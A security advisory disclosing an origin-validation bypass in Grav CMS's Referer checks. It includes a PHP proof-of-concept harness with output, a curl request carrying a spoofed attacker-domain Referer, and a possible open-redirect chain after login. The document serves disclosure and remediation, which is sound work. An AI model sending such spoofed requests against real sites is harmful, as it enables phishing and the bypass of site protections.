GHSA-9ccq-2jfg-qw33
Grav: Origin validation bypass in Uri::referrer() and Pages::referrerRoute() via unanchored prefix match
Quick fix
GHSA-9ccq-2jfg-qw33 — getgrav/grav: upgrade to the fixed version with the command below.
composer require getgrav/grav:^2.0.16Details
## Summary
`Grav\Common\Uri::referrer()` and `Grav\Common\Page\Pages::referrerRoute()` both check whether an incoming request's `Referer` header "came from our site" using `str_starts_with($referrer, $base)`, where `$base` is the site's own absolute root URL (for example `https://example.com`, no trailing slash). Because the comparison has no boundary character after the prefix, any `Referer` value that merely starts with that string is accepted, including a `Referer` from a completely different host such as `https://example.com.attacker.tld`.
This is the same class of bug already fixed once in 2.0.15 for the fast static asset server (GHSA-4v9q-p283-qc2m, "also allowing any neighbouring directory whose name starts with the same letters"). The identical pattern is still present in both places that trust the `Referer` header, and neither is covered by that fix.
## Affected product and version
Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 The pattern is not touched by any of the 2.0.15 security fixes, so earlier 2.x releases are likely affected too. I have not checked how far back it goes.
## Affected code
`system/src/Grav/Common/Uri.php`, method `referrer()`: ```php $referrer = $_SERVER['HTTP_REFERER'] ?? null; ... $base = $this->rootUrl(true); // e.g. "https://example.com", no trailing slash // Referrer should always have host set and it should come from the same base address. if (!is_string($referrer) || !str_starts_with($referrer, $base)) { $referrer = $default ?: $this->route(true, true); } $referrer = substr($referrer, strlen($base)); ```
`system/src/Grav/Common/Page/Pages.php`, method `referrerRoute()`: ```php $referrer = $_SERVER['HTTP_REFERER'] ?? null; $root = $this->grav['base_url_absolute']; // e.g. "https://example.com" if (!is_string($referrer) || !str_starts_with($referrer, (string) $root)) { return null; } ```
Note that the inner per-language loop later in the same `referrerRoute()` method does anchor the check correctly (`str_starts_with($referrer, "{$base}/")`), and `system/src/Grav/Common/Themes.php` line 300 does the same thing correctly (`$current === $base || str_starts_with($current, $base . '/')`). So the codebase already has the correct pattern elsewhere. Only the two outer checks quoted above compare against the bare root URL with no trailing delimiter.
## Root cause
`str_starts_with($referrer, $base)` treats `$base` as a plain string prefix. Since `$base` has no trailing `/`, a string is accepted as long as it begins with those exact characters, regardless of what character follows. An attacker fully controls their own domain name, so producing a string that begins with the victim's origin is trivial, for example by registering `example.com.attacker.tld` or `example.com-attacker.tld`.
Under the default browser Referrer Policy (`strict-origin-when-cross-origin`), a cross-origin click or form submission from the attacker's page sends only the origin (`scheme://host`) as `Referer`, which is exactly the granularity `$base` is compared at, so no unusual browser configuration is required.
## Proof of concept, verified, real output
This was run directly against the actual, unmodified source file from the repository, not a reimplementation. Steps and exact output below.
Step 1, clone the repo and confirm the commit under test: ``` $ git clone --depth 1 https://github.com/getgrav/grav.git $ cd grav && git log -1 --format="%H %ai" c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 2026-08-03 15:14:50 +0100 ```
Step 2, install PHP to execute the real class: ``` $ apt-get install -y php-cli $ php -v PHP 8.3.6 (cli) (built: Jul 16 2026 18:30:41) (NTS) ```
Step 3, PoC harness. Full site bootstrap, composer install, database, config, is not required to demonstrate this specific bug, since `referrer()` only needs the `$root` property, which `init()` would normally compute from the site config. The harness sets that one property with PHP Reflection, then calls the real, unmodified `referrer()` method with a real `$_SERVER['HTTP_REFERER']` value, exactly the input path a live server would use:
```php <?php // poc.php spl_autoload_register(function ($class) { if (strpos($class, 'Grav\\') === 0) { $rel = str_replace('Grav\\', '', $class); $path = '/home/claude/grav/system/src/Grav/' . str_replace('\\', '/', $rel) . '.php'; if (file_exists($path)) { require_once $path; } } });
$env = [ 'HTTP_HOST' => 'example.com', 'REQUEST_URI' => '/target-route', 'HTTPS' => 'on', ];
$uri = new \Grav\Common\Uri($env);
$ref = new ReflectionObject($uri); $prop = $ref->getProperty('root'); $prop->setAccessible(true); $prop->setValue($uri, 'https://example.com');
function test($label, $refererHeader) { global $uri; $_SERVER['HTTP_REFERER'] = $refererHeader; $result = $uri->referrer('https://example.com/DEFAULT_FALLBACK_USED'); echo "$label\n"; echo " Referer sent : $refererHeader\n"; echo " referrer() returned : $result\n"; echo " Same-origin check : " . ($result === '/DEFAULT_FALLBACK_USED' ? 'REJECTED (fallback used, correct)' : 'ACCEPTED (Referer treated as same-origin)') . "\n\n"; }
echo "=== Grav\\Common\\Uri::referrer() executed against real, unmodified source ===\n"; echo "Site base (\$root, as init() would set it) = https://example.com\n\n";
test('[1] Legitimate same-site referrer', 'https://example.com/some/page'); test('[2] Unrelated attacker site, sanity check, must be rejected', 'https://attacker.tld/phish'); test('[3] Attacker domain string-prefixing victim domain, vulnerable case', 'https://example.com.attacker.tld/phish'); test('[4] Attacker domain, dash variant, vulnerable case', 'https://example.com-attacker.tld/phish'); ```
Step 4, run it: ``` $ php poc.php ```
Actual output: ``` === Grav\Common\Uri::referrer() executed against real, unmodified source === Site base ($root, as init() would set it) = https://example.com
[1] Legitimate same-site referrer Referer sent : https://example.com/some/page referrer() returned : /some/page Same-origin check : ACCEPTED (Referer treated as same-origin)
[2] Unrelated attacker site, sanity check, must be rejected Referer sent : https://attacker.tld/phish referrer() returned : /DEFAULT_FALLBACK_USED Same-origin check : REJECTED (fallback used, correct)
[3] Attacker domain string-prefixing victim domain, vulnerable case Referer sent : https://example.com.attacker.tld/phish referrer() returned : .attacker.tld/phish Same-origin check : ACCEPTED (Referer treated as same-origin)
[4] Attacker domain, dash variant, vulnerable case Referer sent : https://example.com-attacker.tld/phish referrer() returned : -attacker.tld/phish Same-origin check : ACCEPTED (Referer treated as same-origin) ```
Interpretation: test 2 proves the harness correctly rejects a genuinely unrelated origin, so the acceptance in tests 3 and 4 is not a harness artifact. `https://example.com.attacker.tld` and `https://example.com-attacker.tld`, both fully attacker owned and registerable domains, are treated by `referrer()` as if they were `https://example.com` itself.
For a live end to end check against a running installation, this is the manual equivalent with curl once a Grav site is deployed at a known host, and it exercises the exact same `str_starts_with` comparison inside the real request path, not a standalone harness: ``` curl -s -H "Referer: https://TARGETHOST.attacker.tld/x" https://TARGETHOST/some/route ``` I did not have a fully bootstrapped live Grav instance available in this environment, composer install requires packagist.org, which was not reachable from the sandbox I was working in, so I was not able to additionally capture that live HTTP round trip. The harness above exercises the identical, unmodified vulnerable method and comparison from the real source file, so the defect itself is verified. What I could not verify from this repository alone is the specific downstream consumer of the return value, since `Pages::referrerRoute()`'s only real caller I could find references, per its own docblock example, which mentions `/admin`, is expected to live in the Admin plugin, `getgrav/grav-plugin-admin`, a separate repository not included in this checkout. If that is where a post login redirect target gets built from this value, please confirm on your end, since it would raise the severity of this report from an origin check bypass to a concrete open redirect after login.
## Impact
An attacker who gets a victim to click a link, or to load a page that issues a cross-site request, from an attacker-controlled domain that string-prefixes the victim's Grav site domain can make the application treat that request as though it originated on site when it did not. The function also returns a relative route value derived directly from attacker-controlled input, via `substr($referrer, strlen($base))`, seen in test 3 and 4 above as `.attacker.tld/phish` and `-attacker.tld/phish`. If that value is later reused to build a redirect target, this becomes an open redirect. I was not able to fully confirm that chain from this repository alone, since the concrete consumer appears to live in the separate Admin plugin repository, but the origin check itself is unambiguously broken, and it is a reusable, security documented API, the docblock for `referrer()` explicitly states it checks that the referrer came from the site.
## Suggested fix
Anchor the comparison the same way the codebase already does correctly elsewhere: ```php // Uri::referrer() if (!is_string($referrer) || !($referrer === $base || str_starts_with($referrer, $base . '/'))) { ... }
// Pages::referrerRoute() if (!is_string($referrer) || !($referrer === $root || str_starts_with($referrer, $root . '/'))) { return null; } ``` A more robust alternative is to parse both values with `parse_url()` and compare `scheme`, `host`, and `port` as discrete fields instead of doing any string prefix comparison.
## Additional notes
While reviewing this release I also checked `Utils::checkFilename()` and the `uploads_dangerous_extensions` list, the `Security::detectXss()` regex handling of `on_events` and `xmlns`, and the `twig_sandbox` allow list in `system/config/security.yaml`. All three looked solid and appear to already reflect the fixes from prior advisories, GHSA-w8cg-7jcj-4vv2, GHSA-c2q3-p4jr-c55f, GHSA-j274-39qw-32c9. I did not find further issues to report there. Given this pattern has now recurred at least three times in this codebase, the static asset server, `Uri::referrer()`, and `Pages::referrerRoute()`, it may be worth grepping for every remaining `str_starts_with($x, $base)` call site touching URLs or paths.
=========================================================== CWE FIELD =========================================================== CWE-346, Origin Validation Error
=========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality: None Integrity: Low Availability: None
Resulting vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N Resulting score: 4.3, severity Medium
Note for the maintainer: this is a conservative rating for the origin check bypass on its own. If you confirm that `Pages::referrerRoute()`'s output feeds an unvalidated redirect target in the Admin plugin's post login flow, please rescore, Integrity would likely move to High and this becomes a credential phishing primitive right after a real login, which is meaningfully worse than the score above reflects.
=========================================================== SEVERITY FIELD =========================================================== Moderate, pending your confirmation of the Admin plugin call site, see note above
Are you affected?
Enter the version of the package you're using.